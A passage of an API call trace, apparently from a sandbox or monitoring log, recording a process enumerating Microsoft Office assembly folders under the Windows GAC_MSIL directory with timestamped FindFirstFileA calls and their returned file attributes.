lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6959abb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7059060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7059060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.960] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Tools.AutoGen\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6164130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7059060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7059060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.968] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Tools.AutoGen\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7059060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7059060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.973] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Tools.Intl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6437b50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x707f1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x707f1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.978] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Tools.Intl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5817b3b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x707f1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x707f1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.983] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa639f5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x707f1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x707f1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.989] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a61010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70a5320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70a5320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.994] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68621d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70a5320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70a5320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.999] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54514570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70a5320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70a5320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.004] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.Client.Internal.Host\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6815f10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70cb480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70cb480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.009] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70cb480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70cb480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.014] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.FormControl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68621d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70cb480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70cb480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.020] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64cdab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70f15e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70f15e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.025] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.Permission\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69def90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70f15e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x70f15e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.032] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7117740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7117740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.037] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.Vsta\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68621d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7117740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7117740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.042] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.InfoPath.Vsta\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553ced90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7117740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7117740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.049] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Access\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa664ce90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7117740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7117740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.055] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e8e0f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x713d8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x713d8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.060] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Access.Dao\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6117e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x713d8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x713d8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.065] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e953370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7163a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7163a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.071] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Excel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67a3af0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7163a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7163a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.075] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6099bdd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7163a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7163a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.081] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Graph\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66bf2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7189b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7189b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.086] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52befd10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7189b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7189b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.096] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.InfoPath\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a2b250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71afcc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71afcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.101] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539c5cf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71afcc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71afcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.106] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.InfoPath.SemiTrust\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69def90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71afcc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71afcc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.110] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.InfoPath.SemiTrust\\11.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61e95fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71d5e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71d5e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.115] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.InfoPath.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69b8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71d5e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71d5e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.121] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f4ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71d5e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71d5e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.126] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.MSProject\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9668680, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x71fbf80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71fbf80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.133] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe57ec500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x71fbf80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71fbf80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.138] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.OneNote\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a77510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x71fbf80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x71fbf80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.143] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.OneNote\\12.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c157ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x72220e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72220e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.148] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.OneNote\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597f2350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x72220e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72220e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.153] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Outlook\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c1a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x72220e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72220e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.161] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cc5a5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7248240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7248240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.166] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.OutlookViewCtl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7248240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7248240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.171] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597cc1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7248240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7248240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.191] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.PowerPoint\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c666f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7294500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7294500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.195] FindFirstFileA (in: 